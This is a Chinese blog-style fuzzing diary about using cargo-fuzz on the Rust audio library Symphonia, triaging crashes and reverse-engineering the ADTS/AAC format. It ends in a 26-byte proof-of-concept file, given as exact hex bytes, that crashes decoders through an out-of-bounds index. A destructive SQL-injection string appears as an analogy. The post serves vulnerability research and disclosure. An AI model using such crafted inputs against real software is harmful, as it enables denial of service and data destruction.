这是一篇fuzzing日记…记录一下这两天用cargo-fuzz挖Rust库的过程,踩了不少坑,也有点收获。

使用环境:Windows11(WSL2虚拟机)、Ubuntu24.04LTS

工具:cargo-fuzz、Symphonia库、ffmpeg(生成种子用)、python3

1. 选目标库

随便找一个,我选了 Symphonia(github链接 https://github.com/pdeljanov/Symphonia)。 sourcemap

这是一个纯Rust写的音频解析库,支持MP3、AAC、FLAC、MKV等一堆格式。Star有3000多,用的人挺多。 音视频库天生就适合fuzzing,因为要解析各种奇怪的二进制格式,边界检查稍微不注意就容易出问题。

把库拉下来:

git clone https://github.com/pdeljanov/Symphonia.git
cd Symphonia

装一下cargo-fuzz(如果之前没装的话):

cargo install cargo-fuzz

2. 分析攻击

进去一看,作者其实已经准备好了fuzz目录,省事了。

cd symphonia/fuzz/fuzz_targets
ls

里面有两个现成的target:

  • decode_any.rs: 会尝试自动探测文件格式,然后解封装+解码。覆盖面最广。
  • decode_mp3.rs: 专门针对MP3解码器,直接喂原始数据包,跳过格式探测。

看了一下 decode_any.rs 的代码,大概流程就是: 读取fuzzer传过来的 Vec<u8> -> 包装成 MediaSourceStream -> Probe 探测格式 -> 创建解码器 -> 循环 decodeimage

很标准的用法,跟正常用这个库没区别。所以直接用它就行,不用自己写harness了。

3. 种子和字典的问题

这里有个问题。如果直接用 cargo fuzz run decode_any 裸跑,直接喂字节流文件,效率特别低。 因为音频文件都有magic bytes(比如MP3是 0xFF 0xF1,WAV是 RIFF…),fuzzer生成的纯随机数据99.9%都会在Probe阶段就被拦截,根本进不到解码逻辑里。

所以要准备两个东西:

(1) 种子库(corpus)

不要去网上下那种几MB的完整音频文件,fuzzer跑不动。最好的办法是用ffmpeg生成一堆小的文件,每个0.1秒就够了。 文件结构完整,但是体积极小,fuzzer变异起来效率高。

让AI帮我写了个python脚本,调ffmpeg生成了11种格式的种子(MP3、AAC、FLAC、OGG、MKV、MP4、WAV等等),每个文件就几十到几百字节。 脚本大概长这样:

import subprocess
import os
import shutil

# Configuration
OUTPUT_DIR = "corpus"
DURATION = "0.1"  # Seconds
Note = "sine=frequency=1000:duration=0.1"

# Formats to generate
# map: extension -> ffmpeg_encoding_args
FORMATS = {
    "mp3": ["-c:a", "libmp3lame"],
    "wav": ["-c:a", "pcm_s16le"],
    "flac": ["-c:a", "flac"],
    "ogg": ["-c:a", "libvorbis"],
    "mkv": ["-c:a", "libvorbis"], # Matroska audio
    "mp4": ["-c:a", "aac", "-movflags", "+faststart"],
    "m4a": ["-c:a", "aac"],
    "aac": ["-c:a", "aac"], # ADTS
    "caf": ["-c:a", "pcm_s16be"], # Core Audio Format
    "aiff": ["-c:a", "pcm_s16be"],
    "wma": ["-c:a", "wmav2"], # Windows Media Audio
}

def check_ffmpeg():
    try:
        subprocess.run(["ffmpeg", "-version"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=True)
        print("ffmpeg found.")
    except (subprocess.CalledProcessError, FileNotFoundError):
        print("Error: ffmpeg is not installed or not in PATH.")
        exit(1)

def generate_seeds():
    if os.path.exists(OUTPUT_DIR):
        print(f"Directory '{OUTPUT_DIR}' already exists. Skipping creation to avoid overwriting user data.")
    else:
        os.makedirs(OUTPUT_DIR)
        print(f"Created directory '{OUTPUT_DIR}'.")

    print(f"Generating seeds into '{OUTPUT_DIR}'...")

    for ext, args in FORMATS.items():
        filename = os.path.join(OUTPUT_DIR, f"seed.{ext}")
        
        # Command: unique sine wave generation for minimal file size
        # ffmpeg -y -f lavfi -i sine=frequency=1000:duration=0.1 [args] filename
        cmd = ["ffmpeg", "-y", "-f", "lavfi", "-i", Note] + args + [filename]
        
        try:
            subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, check=True)
            print(f"Generated: {filename}")
        except subprocess.CalledProcessError as e:
            print(f"Failed to generate {ext}: {e.stderr.decode('utf-8')}")

if __name__ == "__main__":
    check_ffmpeg()
    generate_seeds()

跑完之后corpus目录下就有11个微型文件了。

(2) 字典文件(audio.dict)

这个东西的作用是告诉fuzzer一些特殊字符串,比如各种文件头的magic bytes。 fuzzer在变异时会优先尝试插入这些字符串,提高通过格式探测的概率。 创建一个 audio.dict 文件,内容大概就是:

# RIFF/WAV
"RIFF""WAVE""fmt ""data"
# OGG
"OggS"
# FLAC
"fLaC"
# MP3 (ID3v2)
"ID3"
# MPEG-4 / ISO Base Media File Format (MP4, MOV, M4A)
"ftyp""ftypisom""ftypmp42""ftypM4A ""moov""trak""mdia""minf""stbl"
# MKV / WebM (EBML)
"\x1A\x45\xDF\xA3"
# AAC (ADTS)
"\xFF\xF0""\xFF\xF1""\xFF\xF9"

4. 开始fuzzing

配置环境变量:

export RUSTFLAGS="-Zsanitizer=address -C debuginfo=2"

这个是开启AddressSanitizer和调试信息,这样crash的时候能看到完整堆栈和行号。

export ASAN_OPTIONS="symbolize=1:detect_leaks=0"

symbolize=1自动翻译地址成函数名,detect_leaks=0是关掉内存泄漏检测(我们只关心crash,内存泄漏先不管)。

export RUST_BACKTRACE=1

开启Rust回溯。

然后就可以跑了,单核的话直接:

cargo fuzz run decode_any corpus/ -- -dict=audio.dict

但这样太慢了。为了榨干CPU,需要并行跑。 libFuzzer本身支持多worker,但是cargo fuzz的接口有点绕,所以写了个bash脚本 fuzz_cluster.sh

#!/bin/bash
source "$HOME/.cargo/env"

WORKERS=${1:-16}
TARGET=${2:-decode_any}

export ASAN_OPTIONS="symbolize=1:detect_leaks=0"

echo "启动Fuzzing集群 (Symphonia)"
echo "目标: $TARGET"
echo "并发: $WORKERS"

mkdir -p "artifacts/$TARGET"

cargo fuzz run "$TARGET" corpus/ -- \
    -dict=audio.dict \
    -jobs=10000000 \
    -workers="$WORKERS" \
    -reload=1 \
    -print_final_stats=1

跑起来:

./fuzz_cluster.sh 16

这样就会启动16个worker并行fuzzing了。

5. 第一波crash(浅层Bug)

跑了大概10分钟,artifacts目录下就出现了一堆crash文件,有195个。 手动一个个看肯定不现实,所以又写了个python脚本 auto_repro.py(代码太长就不写在这了),自动复现所有crash并去重分类。

脚本的思路就是:

  • 遍历所有crash文件
  • 用subprocess调 cargo fuzz run 重新跑一遍
  • 抓stderr里的panic信息
  • 根据panic的文件名+行号做签名
  • 相同签名的归为一类
  • 输出每类bug的数量、原因、样例文件

跑完之后发现195个crash其实只对应2个独立的bug,都在 symphonia-codec-aac/src/adts.rs 里:

Bug #1 (116个crash): 整数下溢 位置: adts.rs:303 原因: attempt to subtract with overflow

看了一下代码,问题在 approximate_frame_count 函数里:

let step = (total_len - original_pos) / NUM_SAMPLE_POINTS;

这里 total_len 在前面已经被计算成 byte_len() - original_pos 了,这里又减了一次 original_pos,导致下溢。

Bug #2 (79个crash): step_by(0) panic 位置: adts.rs:306 原因: assertion failed: step != 0

如果文件太小,step 算出来是0,然后 .step_by(0) 会直接panic,因为Rust标准库不允许步长为0。

这两个bug都是在格式探测阶段的duration估算逻辑里,算是"浅层bug"。 浅层bug的特点就是fuzzer一碰到就挂,根本进不到后面的解码逻辑,所以会阻止fuzzer继续深入。

6. 修复浅层bug,继续挖

为了让fuzzer能往更深处跑,让大模型帮我把这两个bug先patch掉:

let step = total_len / NUM_SAMPLE_POINTS;  // 去掉重复减法
if step == 0 {
    return Ok(None);  // 文件太小,不估算duration
}

重新编译,清空旧的crash,再跑一轮。

这次运气不错,跑了11分钟,又出了4个crash。 再用 auto_repro.py 分析,这次4个crash对应的是同一个bug:

Bug #3 (4个crash): 数组越界 位置: symphonia-codec-aac/src/aac/ics/mod.rs:365 原因: index out of bounds: the len is 42 but the index is 42

bug

这个就比较深了。堆栈显示是在AAC解码的decode_spectrum阶段,也就是已经通过了Probe、FormatReader,进入到Decoder内部了,可以尝试对这个漏洞进行深入分析。

看代码:

for sfb in 0..self.info.max_sfb {
    let start = bands[sfb];
    let end = bands[sfb + 1];  // 这里会越界
    ...
}

问题在于 max_sfb 是从bitstream里读出来的,但是没有校验它是否超过 bands 数组的实际长度。 如果恶意文件里声明了一个超大的 max_sfb,就会触发越界读。

这个bug比前两个严重,因为它在解码核心逻辑里,可以用来构造DoS攻击。

7. 构造POC

现在有了crash文件,怎么验证它确实能触发漏洞呢? fuzzer生成的crash文件就是原始的字节流,可以直接用 cargo fuzz run 重放:

cargo fuzz run decode_any artifacts/decode_any/crash-4c827550...

确实会panic,堆栈和之前一样。 cargo-bug

但是如果要提交issue或者给别人演示,不能让人装cargo-fuzz吧。 所以写了个独立的reproducer(repro_crash.rs),逻辑就是模仿fuzz target的代码: 读文件 -> 包装成Cursor -> MediaSourceStream -> Probe -> Decode

编译成可执行文件:

cargo build --release --bin repro_crash

然后任何人都可以直接跑:

./target/release/repro_crash crash文件路径

当我试图使用 repro_crash 来运行crash文件时,却遇到了问题。 运行结果显示:Probe failed: IoError(Custom { kind: UnexpectedEof, error: "end of stream" }) probe

crash文件在 cargo fuzz run 下明明可以触发panic,怎么用普通程序跑就不行了?

想了想,问题出在Probe阶段。Symphonia的格式探测器会检查文件开头的魔数,对于ADTS格式(AAC),它期望的是 0xff 0xf1 这个字节序列。

我用hexdump看了一下crash文件: 00000000 0d 44 73 04 ff ff ff f1 49 44 73 70 ...

开头是 0x0d 0x44…根本不是 0xff 0xf1 难怪Probe会拒绝。

那为什么 cargo fuzz run 能触发呢?可能是libfuzzer的harness对I/O有特殊处理,或者fuzzing构建的编译flags导致了一些边界检查行为不一样。总之,在普通cargo build环境下,这个crash文件过不了Probe这一关。

这就尴尬了。fuzzing找到的crash,不能直接拿来攻击程序?

8. 从crash到真正的PoC

这很正常。fuzzer生成的crash数据是随机变异出来的,格式乱七八糟很正常。能触发bug只是因为碰巧走到了某个代码路径,但这不代表它是一个"合法"的输入文件。

真正能在生产环境中攻击程序的PoC,必须满足两个条件:

  1. 格式上要合法,能通过所有前置检查(魔数检测、格式解析等)
  2. 内容上要恶意,能触发漏洞代码

这和SQL注入很像:你不能直接往输入框里打 '; DROP TABLE users;-- 就完事了,你得先让这个字符串作为"合法输入"进入SQL语句拼接的地方,然后才能发挥破坏作用。

所以crash文件的价值不在于直接使用,而在于告诉我们:

  • 漏洞在哪里ics/mod.rs:365
  • 错误是什么index out of bounds: len=42, idx=42
  • 触发条件max_sfb=42,而 bands 数组长度也是42

有了这些信息,就可以根据代码逻辑来构造一个真正的PoC了。

9. 分析漏洞代码,从crash log倒推触发条件

这部分是整个PoC构造的核心,我尽量写清楚推理过程。

首先回顾一下crash log给的信息: thread 'main' panicked at symphonia-codec-aac/src/aac/ics/mod.rs:365:27: index out of bounds: the len is 42 but the index is 42

这告诉我们三件事:

  1. 出问题的文件是 ics/mod.rs,第365行第27列
  2. 错误类型是数组越界
  3. 数组长度是42,但访问的索引也是42(合法索引应该是0-41)

去看这个位置的代码(ics/mod.rs 第354-397行的 decode_spectrum 函数):

fn decode_spectrum(...) {
    let bands = self.get_bands();  // 获取一个叫bands的数组
    
    for g in 0..self.info.window_groups {
        for sfb in 0..self.info.max_sfb {     // sfb从0到max_sfb-1循环
            let start = bands[sfb];            // 第364行
            let end = bands[sfb + 1];          // 第365行 ← panic在这里
            ...
        }
    }
}

现在来推理: sfb 的取值范围是 0, 1, 2, ..., max_sfb-1sfb = max_sfb-1 时,bands[sfb + 1] = bands[max_sfb] crash log说"index is 42",那就是 max_sfb = 42 crash log说"len is 42",那就是 bands 数组长度 = 42 bands[42] 访问的是第43个元素,但数组只有42个元素(索引0-41),所以越界了

好,现在确定问题出在 max_sfb 这个变量。它是从哪来的?为什么会等于42?

继续在代码里搜索 max_sfb,找到它的赋值位置(同文件的 IcsInfo::decode 函数,140-157行):

if self.window_sequence == EIGHT_SHORT_SEQUENCE {
    // 短窗口模式,读4位
    self.max_sfb = bs.read_bits_leq32(4)? as usize;  // 范围0-15
} else {
    // 长窗口模式,读6位
    self.max_sfb = bs.read_bits_leq32(6)? as usize;  // 范围0-63
}

max_sfb 是从比特流(bs)里读出来的,也就是从输入文件里读的。 在长窗口模式下,它读6个bit,范围是0-63。 但是代码完全没做校验。直接就拿去当数组索引用了。

所以如果输入文件里写了 max_sfb=42,而 bands 数组恰好长度是42,那就会越界。

接下来的问题是:bands数组什么时候长度是42?

搜索 get_bands 函数,发现它返回的是 self.sbinfo.long_bands 或者 short_bands。 再追溯 sbinfo 是从哪来的,最终找到 common.rs 里的静态数组定义: bands

// 不同采样率对应不同的bands数组
pub const SWB_OFFSET_96K_LONG: [usize; 41 + 1] = [...]   // 长度 = 41+1 = 42
pub const SWB_OFFSET_48K_LONG: [usize; 49 + 1] = [...]   // 长度 = 49+1 = 50
pub const SWB_OFFSET_8K_LONG:  [usize; 40 + 1] = [...]   // 长度 = 40+1 = 41

这里 SWB_OFFSET_96K_LONG 的长度正好是42

再看这些数组是怎么选择的(common.rs 第124-129行):

const AAC_SUBBAND_INFO: [GASubbandInfo; 12] = [
    GASubbandInfo {
        min_srate: 92017,
        long_bands: &SWB_OFFSET_96K_LONG,  // 采样率>=92017时用这个
        ...
    },
    ...
];

所以当采样率>=92017Hz时(比如96000Hz),就会使用长度为42的bands数组。

现在总结一下触发条件:

  1. 采样率设为96000Hz(使bands数组长度为42)
  2. 使用长窗口模式(使max_sfb从6 bits读取)
  3. max_sfb设为42(使访问bands[42]越界)

下一个问题:在ADTS文件里怎么设置采样率和 max_sfb

10. 构造PoC,逆向推导文件格式

这是最麻烦的部分。正常来说应该去看AAC的官方标准(ISO/IEC 14496-3),但那个要花钱买。网上能搜到的资料要么不完整,要么是讲MP4容器的,不是讲ADTS的。

我的办法是:直接看Symphonia的源码,从解析代码反推文件格式。

ADTS头部

先搞定ADTS头部(比较简单,资料多)。ADTS头部结构(共7字节=56位):

位置字段位数
0-11Syncword120xFFF
12ID10=MPEG-4
13-14Layer200
15Protection absent11=无CRC
16-17Profile201=AAC-LC
18-21Sampling freq index40=96000Hz ←关键
22Private10
23-25Channel config32=立体声
26-29其他标志40
30-42Frame length13帧总长度
43-53Buffer fullness110x7FF
54-55Number of frames - 120

重点是第18-21位的Sampling frequency index,设为0就是96000Hz。

但这里有个坑:Symphonia检查的魔数不是 0xFFF,而是 0xFFF1adts.rs 代码:

// 格式检测时找的魔数
&[&[0xff, 0xf1]]

// sync函数里也是找0xfff1
while sync != 0xfff1 { ... }

0xfff1 拆开来看: 0xff = 1111 1111 (syncword前8位) 0xf1 = 1111 0001 (syncword后4位 + ID=0 + layer=00 + protection=1)

所以ADTS头必须是 0xff 0xf1 开头,不然Probe就会拒绝。 ff f1 40 80 01 bf fc

AAC Raw Data Block

接下来是AAC Raw Data Block,这个网上资料很少。我直接看Symphonia怎么解析的。

cpe.rsdecode_ga_sce 函数开始追:它调用 ics0.decode() 再看 ics/mod.rsIcs::decode 函数: 先读 global_gain(8位) 再读 ics_info 再读 section_datascale_factor_dataspectral_data

ics_info 的结构(从 IcsInfo::decode 函数反推):

字段位数说明
ics_reserved_bit1保留位,填0
window_sequence20=长窗口,2=短窗口
window_shape1填0
max_sfb (长窗口)6恶意值42在这里
predictor_data_present1填0

所以要在这6位里写入42。

但是AAC帧不只有这些字段,还有 section_data 等一堆东西。怎么构造呢?

技巧是使用 ZERO_HCB 码本。AAC有一种特殊的哈夫曼码本叫 ZERO_HCB,意思是"这个频带全是零,没有频谱数据"。如果所有频带都用ZERO_HCB,那后面的 spectral_data 就可以省略。

section_data 的结构(从代码反推的): sect_cb: 4位,码本索引,0=ZERO_HCB sect_len: 5位增量编码,如果>=31就再读5位

最后再写一个 ID_END(3位,值=7)标记结束。

把这些拼起来,完整的AAC Raw Data Block结构:

字段位数
id_syn_ele30 (ID_SCE,单声道)
element_instance_tag40
global_gain8128 (任意值)
ics_reserved_bit10
window_sequence20 (长窗口)
window_shape10
max_sfb642 ← 恶意值
predictor_data_present10
sect_cb40 (ZERO_HCB)
sect_len5+531, 11 (编码42)
pulse_data_present10
tns_data_present10
gain_control_present10
id_syn_ele (结束)37 (ID_END)

用Python的BitWriter按这个顺序写入就行了。

但还有最后一个坑:单帧文件Probe会失败

因为ADTS的 try_new 函数里调用了 approximate_frame_count 函数,它会尝试解析多个帧来估算时长。如果文件只有一帧且刚好结束,会返回EOF错误。

解决办法是:写多帧。实测发现至少需要2帧(1个正常帧 + 1个恶意帧)才能Probe成功。正常帧的 max_sfb 设一个安全的值(比如10),只有最后一帧是恶意的。

最终的PoC文件结构: [ADTS头1][正常AAC数据] [ADTS头2][恶意AAC数据]

构造的字节序列: ff f1 40 80 01 bf fc 01 20 05 01 43 80 ff f1 40 80 01 bf fc 01 20 15 03 eb 1c

测试一下:

python3 poc_generator_v2.py poc.aac
./target/release/repro_crash poc.aac

输出:

Read 26 bytes from "poc.aac"
Probe succeeded!
Track codec: CodecType(4100)
Decoder created, starting decode loop...
Decoded 1024 frames
thread 'main' panicked at symphonia-codec-aac/src/aac/ics/mod.rs:365:27:
index out of bounds: the len is 42 but the index is 42

成功了。26字节,Probe通过,解码时崩溃。 poc

这就是一个可以在真实环境中触发DoS的PoC。任何使用Symphonia库解码AAC的程序,只要加载这个文件就会panic。

接下来就是愉快的交issue了~ issue

11. 结束

这次fuzzing的完整流程:

  1. 选目标:选了Symphonia这个音频解析库。
  2. 准备环境:种子文件(ffmpeg生成的微型音频)+ 字典(各种魔数)。
  3. 第一轮fuzzing:发现2个浅层bug(整数溢出、step_by(0)),都在ADTS的duration估算逻辑。
  4. 修复浅层bug:大模型帮忙patch掉,让fuzzer能进入更深的代码路径。
  5. 第二轮fuzzing:发现1个深层bug(数组越界),在AAC解码器核心逻辑。
  6. 尝试复现:发现crash文件不能直接用,被Probe拦住了。
  7. 分析原因:crash文件格式不合法,只是碰巧在fuzzing环境下能触发。
  8. 构造真正的PoC:分析漏洞代码+ADTS格式规范,手写一个格式合法但内容恶意的文件。

几点体会:

  • Rust虽然内存安全,但逻辑bug还是会导致panic/DoS。
  • 浅层bug会阻挡fuzzer深入,有时候需要先patch掉。
  • fuzzing的crash不等于可用的PoC,需要根据代码逻辑重新构造。
  • 构造PoC需要理解目标程序的输入处理流程和文件格式规范。
  • 攻击思维:恶意数据必须披着"合法"的外衣才能送到漏洞点。
  • 大模型真的很好用,甚至可以实现全流程自动化。

下一步打算在56核服务器上跑久一点,看能不能挖到更深的bug。另外其他几个crash(MKV整数溢出、ID3v2 unreachable等)也可以用类似方法构造PoC。